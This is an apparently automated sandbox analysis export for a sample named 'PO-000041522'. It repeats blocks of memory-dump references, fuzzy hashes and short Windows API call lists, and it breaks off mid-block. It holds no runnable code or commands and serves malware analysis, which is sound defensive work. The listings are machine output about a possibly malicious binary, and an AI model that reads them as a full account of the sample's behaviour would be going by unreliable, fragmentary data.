                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Long$AttributesLayered
                                                                                                • String ID:
                                                                                                • API String ID: 2169480361-0
                                                                                                • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                APIs
                                                                                                • SendMessageW.USER32 ref: 00448CB8
                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$LongWindow
                                                                                                • String ID:
                                                                                                • API String ID: 312131281-0
                                                                                                • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                APIs
                                                                                                • select.WSOCK32 ref: 0045890A
                                                                                                • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLastacceptselect
                                                                                                • String ID:
                                                                                                • API String ID: 385091864-0
                                                                                                • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend
                                                                                                • String ID:
                                                                                                • API String ID: 3850602802-0
                                                                                                • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                APIs
                                                                                                • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                • String ID:
                                                                                                • API String ID: 1358664141-0
                                                                                                • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                APIs
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                • String ID:
                                                                                                • API String ID: 2880819207-0
                                                                                                • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                APIs
                                                                                                • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClientRectScreen$InvalidateWindow
                                                                                                • String ID:
                                                                                                • API String ID: 357397906-0
                                                                                                • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                APIs
                                                                                                • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                • String ID:
                                                                                                • API String ID: 1187119602-0
                                                                                                • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                • String ID:
                                                                                                • API String ID: 1597257046-0
                                                                                                • Opcode ID: d39489a9b78f84309a817910f13ca8bcc8d4267f031138743b8853f4b8fd5710
                                                                                                • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                • Opcode Fuzzy Hash: d39489a9b78f84309a817910f13ca8bcc8d4267f031138743b8853f4b8fd5710
                                                                                                • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                APIs
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DeleteDestroyObject$IconWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3349847261-0
                                                                                                • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                APIs
                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                • String ID:
                                                                                                • API String ID: 2223660684-0
                                                                                                • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                                • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                APIs
                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                • EndPath.GDI32(?), ref: 004472B0
                                                                                                • StrokePath.GDI32(?), ref: 004472BE
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                • String ID:
                                                                                                • API String ID: 2783949968-0
                                                                                                • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                APIs
                                                                                                • __getptd.LIBCMT ref: 00417D1A
                                                                                                  • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                  • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                • __getptd.LIBCMT ref: 00417D31
                                                                                                • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                • __lock.LIBCMT ref: 00417D4F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                • String ID:
                                                                                                • API String ID: 3521780317-0
                                                                                                • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                APIs
                                                                                                • GetDesktopWindow.USER32 ref: 00471144
                                                                                                • GetDC.USER32(00000000), ref: 0047114D
                                                                                                • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                • String ID:
                                                                                                • API String ID: 2889604237-0
                                                                                                • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                APIs
                                                                                                • GetDesktopWindow.USER32 ref: 00471102
                                                                                                • GetDC.USER32(00000000), ref: 0047110B
                                                                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                • String ID:
                                                                                                • API String ID: 2889604237-0
                                                                                                • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                APIs
                                                                                                • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                • String ID:
                                                                                                • API String ID: 2710830443-0
                                                                                                • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                APIs
                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                  • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                  • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
